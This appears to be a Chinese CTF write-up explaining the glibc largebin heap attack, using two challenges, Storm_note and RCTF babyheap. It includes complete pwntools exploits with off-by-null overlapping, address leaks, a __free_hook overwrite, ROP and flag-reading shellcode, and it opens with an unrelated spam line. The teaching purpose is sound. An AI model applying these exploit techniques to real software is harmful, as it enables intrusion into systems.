91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣剖析Largebin Attack

發布時間:2021-11-11 15:38:46 來源:億速云 閱讀:202 作者:柒染 欄目:編程語言

本篇文章給大家分享的是有關怎樣剖析Largebin Attack,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

前言

從西湖論劍的Storm_note第一次接觸largebin,RCTF的babyheap,發現這兩道題的本質上是一樣的,因此我將通過這兩道題目對largebin attack進行深入研究,從源碼分析到動態調試,將largebin attack的整個流程都過了一遍,整理一下largebin attack的利用過程,希望對大家有幫助。

malloc函數largebin部分源碼分析

首先從源碼角度靜態分析將chunk從unsortedbin放入largebin部分的代碼邏輯。

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷,FIFO原則
        {
          bck = victim->bk;
          if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
                                   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");
          size = chunksize (victim);
          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */
          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);                    //將選中的chunk剝離出來,恢復unsortedbin
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }
              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;//將其從unsortedbin中取出來
          bck->fd = unsorted_chunks (av);//bck要保證地址的有效性
          /* Take now instead of binning if exact fit */
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                set_non_main_arena (victim);
#if USE_TCACHE
              /* Fill cache first, return to user only if cache fills.
                 We may return one of these chunks later.  */
              if (tcache_nb
                  && tcache->counts[tc_idx] < mp_.tcache_count)
                {
                  tcache_put (victim, tc_idx);
                  return_cached = 1;
                  continue;
                }
              else
                {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
                }
#endif
            }
          /* place chunk in bin */
          /*把unsortedbin的chunk放入相應的bin中*/
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else//large bin
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  /* 如果size<large bin中最后一個chunk即最小的chunk,就直接插到最后*/
                  if ((unsigned long) (size)
                      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
            // 否則正向遍歷,fwd起初是large bin第一個chunk,也就是最大的chunk。
            // 直到滿足size>=large bin chunk size
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;//fd_nextsize指向比當前chunk小的下一個chunk
                          assert (chunk_main_arena (fwd));
                        }
                      if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else// 插入
                        {
                            //解鏈操作,nextsize只有largebin才有
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }
          mark_bin (av, victim_index);
          //解鏈操作2,fd,bk
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
          //fwd->bk->fd=victim

從源碼中可以分析出將chunk(victim)從unsortedbin中取出來放入largebin的具體過程。malloc的時候,遵循FIFO原則,從unsortedbin的鏈尾開始往前遍歷。對每次選中的chunk(代碼中為victim),大致會進行以下操作:

1、如果申請的大小是smallbin范圍內&&victim是unsortedbin中僅剩的一個chunk&&victim的大小滿足需求,則利用這個chunk分配給用戶返回;否則將這個victim從unsortedbin中脫離出來。2、除非size剛好是需要的大小,否則將其放入相應的smallbin或largebin3、如果是0x400以上(即為largebin),則從大到小的順序找到一個鏈表,該鏈表的size<=size(victim),該鏈表的第一個chunk即為fwd。如果剛好相等,則不對bk_nextsize和fd_nextsize進行操作。4、解鏈操作1(重點關注最后一步):victim->bk_nextsize->fd_nextsize = victim相當于fwd->bk_nextsize->fd_nextsize=victim,即向fwd->bk_nextsize指針中寫入victim的地址。5、解鏈操作2(重點關注最后一步):bck->fd = victim相當于fwd->bk->fd=victim,即向fwd->bk的指針中寫入victim的地址。

largebin attack的關鍵是最后兩個解鏈操作,如果可以控制fwd的bk_nextsize指針和bk指針,可以實現向任意地址寫入victim的地址

2019 西湖論劍 Storm_note

漏洞類型

off_by_null

背景知識

largebin attackunlinkchunk overlapping

保護機制

[*] '/home/leo/pwn/xihu/Storm_note'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序邏輯

1、init_proc

ssize_t init_proc()
{
  ssize_t result; // rax
  int fd; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  if ( !mallopt(1, 0) )                         // 禁用fastbin
    exit(-1);
  if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL )
    exit(-1);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(-1);
  result = read(fd, (void *)0xABCD0100LL, 0x30uLL);
  if ( result != 48 )
    exit(-1);
  return result;
}

程序一開始就對進程進行初始化,mallopt(1, 0)禁用了fastbin,然后通過mmap在0xABCD0000分配了一個頁面的可讀可寫空間,最后往里面寫入一個隨機數。

2、add

for ( i = 0; i <= 15 && note[i]; ++i )//按順序存放堆指針
    ;
  if ( i == 16 )
  {
    puts("full!");
  }
  else
  {
    puts("size ?");
    _isoc99_scanf((__int64)"%d", (__int64)&v1);
    if ( v1 > 0 && v1 <= 0xFFFFF )
    {
      note[i] = calloc(v1, 1uLL);//清空內容
      note_size[i] = v1;//0x202060
      puts("Done");
    }

首先遍歷全局變量note,找到一個沒有存放內容的地方保存堆指針。然后限定了申請的堆的大小最多為0xFFFFF,調用calloc函數來分配堆空間,因此返回前會對分配的堆的內容進行清零。

3、edit

puts("Index ?");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )//0x2020a0
  {
    puts("Content: ");
    v2 = read(0, note[v1], (signed int)note_size[v1]);
    *((_BYTE *)note[v1] + v2) = 0;              // off_by_null
    puts("Done");
  }

存在一個off_by_null漏洞,在read后v2保存寫入的字節數,最后在該偏移處的字節置為0,形成off_by_null。

4、delete

puts("Index ?");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 >= 0 && v1 <= 15 && note[v1] )
  {
    free(note[v1]);
    note[v1] = 0LL;
    note_size[v1] = 0;
  }

正常free

5、backdoor

void __noreturn backdoor()
{
  char buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v1; // [rsp+38h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("If you can open the lock, I will let you in");
  read(0, &buf, 0x30uLL);
  if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) )
    system("/bin/sh");
  exit(0);
}

程序提供一個可以直接getshell的后門,觸發的條件就是輸入的數據與mmap映射的空間的前48個字節相同。

利用思路

根據程序提供的后門,可以通過兩種方法來觸發:

1、通過泄露信息來獲取寫入的隨機數2、通過實現任意寫來改寫0xABCD0000地址的48字節隨機數成已知的數據。

但這題沒有提供輸出函數,因此第一種方法不好利用,這里采取第二種方法,實現任意寫。這題由于禁用了fastbin,可以考慮使用largebin attack來是實現任意寫。

1、利用off_by_null 漏洞實現chunk overlapping,從而控制堆塊內容。2、將處于unsortedbin的可控制的chunk放入largebin中,以便觸發largebin attack3、控制largebin的bk和bk_nextsize指針,通過malloc觸發漏洞,分配到目標地址,實現任意地址寫

具體實現

第一步:chunk overlapping

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6

首先分配7個chunk,chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。

edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size

構造兩個偽造的prev_size,用于繞過malloc檢查,保護下一個chunk的prev_size不被修改。

怎樣剖析Largebin Attack

dele(1)
edit(0,'a'*0x18)#off by null

利用off_by_null漏洞改寫chunk1的size為0x500

怎樣剖析Largebin Attack

add(0x18)#1
add(0x4d8)#7 0x050

dele(1)
dele(2)    #overlap

怎樣剖析Largebin Attack

先將0x20的chunk釋放掉,然后釋放chunk2,這時觸發unlink,查可以看到在note中chunk7保存著0x...50的指針,但這一塊是已經被釋放掉的大chunk,形成堆塊的重疊。因此如果申請0x18以上的chunk,就能控制該chunk的內容了。

#recover
add(0x30)#1
add(0x4e0)#2

怎樣剖析Largebin Attack

申請0x30的chunk,形成chunk overlapping。接下來用同樣的方法對第二個大chunk進行overlapping

dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580
edit(8,'ffff')

第二步:放入largebin

如何才能觸發條件,將unsortedbin中的大chunk放入largebin呢?接下來從源碼分析該機制。

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷
{
    bck = victim->bk;
    size = chunksize (victim);
    if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))    //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小
    {remainder_size = size - nb;
     remainder = chunk_at_offset (victim, nb);...}//將選中的chunk剝離出來,恢復unsortedbin
    if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
     unsorted_chunks (av)->bk = bck;    //largebin attack
    //注意這個地方,將unsortedbin的bk設置為victim->bk,如果我設置好了這個bk并且能繞過上面的檢查,下次分配就能將target chunk分配出來
    if (size == nb)//size相同的情況同樣正常分配
    if (in_smallbin_range (size))//放入smallbin
     {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
     }
     else//放入large bin
     {
         while ((unsigned long) size < chunksize_nomask (fwd))
         {
            fwd = fwd->fd_nextsize;//fd_nextsize指向比當前chunk小的下一個chunk
            assert (chunk_main_arena (fwd));
          }
          if ((unsigned long) size
                          == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
             fwd = fwd->fd;
          else// 插入
          {
            //解鏈操作,nextsize只有largebin才有
            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解鏈操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim
dele(2)    #unsortedbin-> chunk2 -> chunk5(0x5c0)    which size is largebin FIFO
add(0x4e8)      # put chunk8(0x5c0) to largebin
dele(2) #put chunk2 to unsortedbin

簡要總結一下這個過程,在unsortedbin中存放著兩個大chunk,第一個0x4e0,第二個0x4f0。當我申請一個0x4e8的chunk時,首先找到0x4e0的chunk,太小了不符合調件,于是將它拿出unsortedbin,放入largebin。在放入largebin時就會進行兩步解鏈操作,兩個解鏈操作的最后一步是關鍵。

怎樣剖析Largebin Attack

可以看到從unsortedbin->bk開始遍歷,第一個的size < nb因此就會放入largebin,繼續往前遍歷,找到0x4f0的chunk,剛好滿足size==nb,因此將其分配出來。最后在delete(2)將剛剛分配的chunk2再放回unsortedbin,進行第二次利用。

怎樣剖析Largebin Attack

第三步:largebin attack

再回顧一下之前源碼中更新unsortedbin的地方

bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
     malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;    //largebin attack
content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

怎樣剖析Largebin Attack

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

修改largebin的bk和bk_nextsize

怎樣剖析Largebin Attack

分析一下為什么改寫為這些值。先回顧一下兩個解鏈操作。

            victim->fd_nextsize = fwd;
            victim->bk_nextsize = fwd->bk_nextsize;
            fwd->bk_nextsize = victim;
            victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
           }
          bck = fwd->bk;
      }
   }
 else
     victim->fd_nextsize = victim->bk_nextsize = victim;
}
 mark_bin (av, victim_index);
//解鏈操作2,fd,bk
 victim->bk = bck;
 victim->fd = fwd;
 fwd->bk = victim;
 bck->fd = victim;
//fwd->bk->fd=victim

根據之前的chunk overlappnig,可以控制largebin的bk和bk_nextsize,fwd就是已經放入largebin的chunk,victim就是unsortedbin中需要放入largebin的chunk。victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim在fwd->bk_nextsize中放入目標的addr,實現*(addr+0x20) = victimbck->fd = victim;在fwd->bk中放入目標addr,實現*(addr+0x10)=victim因為unsortedbin中存放了fake_chunk,但那里沒有一個符合條件的size,因此需要通過這個解鏈操作給那里寫入一個地址,作為size。

怎樣剖析Largebin Attack

怎樣剖析Largebin Attack

(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim

最后能在fake_chunk上寫入0x56,而程序開了PIE保護,程序基址有一定幾率以0x56開頭。

bck->fd = unsorted_chunks (av)

同時還要保證bck的地址有效

(fake_chunk+8+0x10)=(fake_chunk+0x18)=victim

add(0x40)

怎樣剖析Largebin Attack

從unsortedbin的bk開始遍歷,發現bk是0xabcd00e0,bck!=unsorted_chunks (av),因此不會從該chunk中剝離一塊內存分配。然后執行一下語句

unsorted_chunks (av)->bk = bck;    
bck->fd = unsorted_chunks (av);

將0xabcd00e0->bk重新放入unsortedbin。然后由于size==nb,返回分配,成功將目標地址返回。

怎樣剖析Largebin Attack

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)

p.sendlineafter('Choice: ','666')

p.send(p64(0)*6)

最后將0XABCD0100的隨機數修改為0,觸發后門即可。

EXP

from pwn import *
p = process('./Storm_note')

def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))


add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6

edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size

dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050

dele(1)
dele(2)    #overlap

#recover
add(0x30)#1
add(0x4e0)#2

dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580


dele(2)    #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0)    which size is largebin FIFO
add(0x4e8)      # put chunk8(0x5c0) to largebin
dele(2) #put chunk2 to unsortedbin


content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk)      # bk
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

add(0x40)
#gdb.attach(p,'vmmap')
payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)
p.interactive()

2019 RCTF babyheap

漏洞類型

off by one

背景知識

largebin attackunlinkchunk overlappingROPshellcode編寫

保護機制

[*] '/home/leo/Desktop/RCTF/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保護全開

程序邏輯

1、init

怎樣剖析Largebin Attack

首先選取2字節的隨機數作為mmap函數分配給ptrs的地址,然后禁用了fastbin,最后對一些系統調用函數進行限制。利用seccomp-tools工具可以快速查看程序對哪些函數進行限制。

怎樣剖析Largebin Attack

發現禁用了fork、execve等函數,因此不能直接調用system函數來getshell。可以考慮用open、read、write讀取輸出文件內存來獲得flag。

2、add

怎樣剖析Largebin Attack

分析出ptrs的保存的數據以16字節為單位,前8字節保存用calloc函數分配的堆塊指針,后8字節保存對應的size。

3、edit

怎樣剖析Largebin Attack

edit函數存在一個off by null漏洞。

4、delete

怎樣剖析Largebin Attack

安全的free,清空了指針,沒什么問題。

5、show

怎樣剖析Largebin Attack

提供了一個輸出函數,可以用來泄露信息。

利用思路

1、利用off by null漏洞改寫size,通過unlink形成chunk overlapping對fwd的堆塊的bk和bk_nextsize實施控制。在這過程中順便用show函數泄露libc和heap地址。2、由于涉及到fwd和victim兩個large size的chunk的操作,需要先將一個chunk放入largebin,另一個放入unsortedbin,然后利用largebin attack往free_hook前某個內存錯位寫入0x56作為fake_chunk的size。然后分配到fake_chunk改寫free_hook指針。3、因為程序開啟的保護限制了system函數的使用,所以不能直接getshell。如果要利用open、read、write來讀取flag文件,需要用到ROP技術。4、因為只知道libc和heap地址,不知道棧地址和程序基址,首先需要將rsp遷移到堆上。5、最后就能通過ROP來獲取flag

具體實現

第一步:chunk overlapping

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
#gdb.attach(p)
#第一個大chunk
dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2)#overlap
#第二個大chunk
dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580

這一步與Storm_note前一部分是一樣的,這里不多做解釋。

第二步:泄露libc和heap

在形成第一個大chunk的overlapping的時候因為chunk在unsortedbin里,可以順便泄露libc基址和heap地址。這些是常規操作。

怎樣剖析Largebin Attack

此時能控制的堆塊從0x...50開始,unsortedbin中的堆塊為0x...20,因此需要分配0x20大小的塊出來,使得unsortedbin的地址寫入0x...50。

#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))

怎樣剖析Largebin Attack

用同樣的方法,要泄露heap地址,需要在fd上保存下一個堆塊指針,則需要將兩個chunk放入unsortedbin中,同時第二個放入的chunk是可控的。

#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)

第三步:largebin attack

dele(2)    
add(0x4e8)
dele(2)

同樣的由于在第一個chunk的大小為0x4e0,不滿足(unsigned long) (size) > (unsigned long) (nb + MINSIZE)條件,因此將其剝離出來,放入largebin。然后繼續往前搜索發現0x4f0滿足要求,返回給用戶。最后再把chunk2重新放入unsortedbin中。形成一個unsortedbin中的victim和largebin中的fwd。

free_hook = libc.symbols['__free_hook']+libc_base
fake_chunk = free_hook-0x10

payload = p64(0) + p64(fake_chunk)      # bk
edit(7,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(9,payload2)
add(0x40)

做了三件事情:

1、將unsortedbin中的victim的bk改寫為fake_chunk,使得下一次往前遍歷時命中這塊內存。2、改寫largebin中的fwd的bk為victim,使得bck->fd=unsorted_chunks (av)成功執行。3、改寫largebin中的fwd的bk_nextsize為fake_chunk的size字段,錯位寫入heap地址。

怎樣剖析Largebin Attack

第四步:遷移棧到堆,利用ROP

要用到ROP需要在棧上布置數據,但堆題一般都只是將數據放在堆上,因此很難利用ROP。解決方法是利用mov rsp,[xxx]的方法遷移棧到堆上。這里利用的是setcontext函數中有一段指令可以控制rsp寄存器。

怎樣剖析Largebin Attack

因此,觸發free_hook前,往free_hook中填寫setcontext+53的地址,注意布置好第一個參數rdi對應的堆塊的數據,就可以改寫rsp等寄存器的值。

setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
edit(2,p64(setcontext))

接著是往一個堆上布置好ROP的數據,流程是調用mprotect將heap改為可執行,然后調用mmap分配一塊可讀可寫可執行內存,接下來將shellcode復制到這塊內存,最后跳到shellcode開始執行。

a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')    
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')

p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))

rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode


edit(7,rop)
dele(7)
p.interactive()

其實這題更簡單的方法是直接利用ROP來open、read、write或者直接在堆上執行shellcode。我這么做就是將兩種方法結合起來。

EXP

from pwn import *
p = process('./babyheap')
libc = ELF('/home/leo/Desktop/libc-2.23.so')
#context.log_level='debug'

uu64    = lambda data               :u64(data.ljust(8, '\0'))
def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('Size:')
  p.sendline(str(size))

def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('Index:')
  p.sendline(str(idx))
  p.recvuntil('Content:')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('Index:')
  p.sendline(str(idx))
def show(idx):
  p.recvuntil('Choice')
  p.sendline('4')
  p.recvuntil('Index:')
  p.sendline(str(idx))

add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
edit(1,'a'*0x4f0+p64(0x500))#prev_size
edit(4,'a'*0x4f0+p64(0x500))#prev_size
#gdb.attach(p)
dele(1)
edit(0,'a'*0x18)#off by null

add(0x18)#1
add(0x4d8)#7 0x050
dele(1)
dele(2)#overlap

#recover leak libc
add(0x18)#1
show(7)
p.recv(1)
leak = p.recv(6)
libc_base=uu64(leak)-0x3c4b78
success('libc_base= {}'.format(hex(libc_base)))
#leak heap
add(0x4e0)#2
add(0x18)#8
dele(3)
dele(2)
show(7)
p.recv(1)
data = p.recv(6)
heap = uu64(data)-0x550
success('heap= {}'.format(hex(heap)))
add(0x4e0)
add(0x18)


##########################


dele(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
dele(4)
dele(5)#overlap
add(0x40)#4 0x580

#9 control
dele(2)
add(0x4e8)
dele(2)
#gdb.attach(p)

free_hook = libc.symbols['__free_hook']+libc_base
fake_chunk = free_hook-0x10

payload = p64(0) + p64(fake_chunk)      # bk
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(9,payload2)
#gdb.attach(p)
add(0x40)#2

#rop
a = '''
mov esp,0x400100
push 0x67616c66
mov rdi,rsp
'''
shellcode = asm(a,arch='amd64',os='linux')    
shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux')
shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux')

p_rdi=0x0000000000021102+libc_base
p_rdx_rsi=0x00000000001150c9+libc_base
p_rcx_rbx=0x00000000000ea69a+libc_base
p_rsi = 0x00000000000202e8+libc_base
mprotect=libc.symbols['mprotect']+libc_base
setcontext = 0x47b75+libc_base
success('setcontext= {}'.format(hex(setcontext)))
mmap = libc.symbols['mmap']+libc_base
edit(2,p64(setcontext))

rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9
rop+= p64(0)*13
rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0]
rop+= p64(p_rdi)#push rcx;ret
rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)
rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap)
rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0)
rop+= asm('''
rep movsd
push 0x400000
ret ''',arch='amd64',os='linux')+'\x00'
rop+= shellcode


edit(7,rop)
dele(7)
p.interactive()

通過上述對兩道題目的分析,我總結出largebin attack的一下利用條件或特點以及利用過程。

利用條件或特點: 

1、需要對已經free的堆塊進行控制。通常需要off by null或者UAF這類漏洞存在。 

2、fastbin不可用。通常會出現mallopt(1,0)禁用fastbin。 

3、已知目標地址。通常可以泄露libc來控制free_hook

利用過程: 

1、構造unsortedbin和largebin兩個大堆塊,并且能控制bk和bk_nextsize指針    

2、將unsortedbin中的chunk的bk改為目標地址 

3、將largebin中的chunk的bk改為目標地址+8使其可寫 

4、將largebin中的chunk的bk_nextsize改為目標地址-0x18-5錯位寫入size以便構造fake_chunk

以上就是怎樣剖析Largebin Attack,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

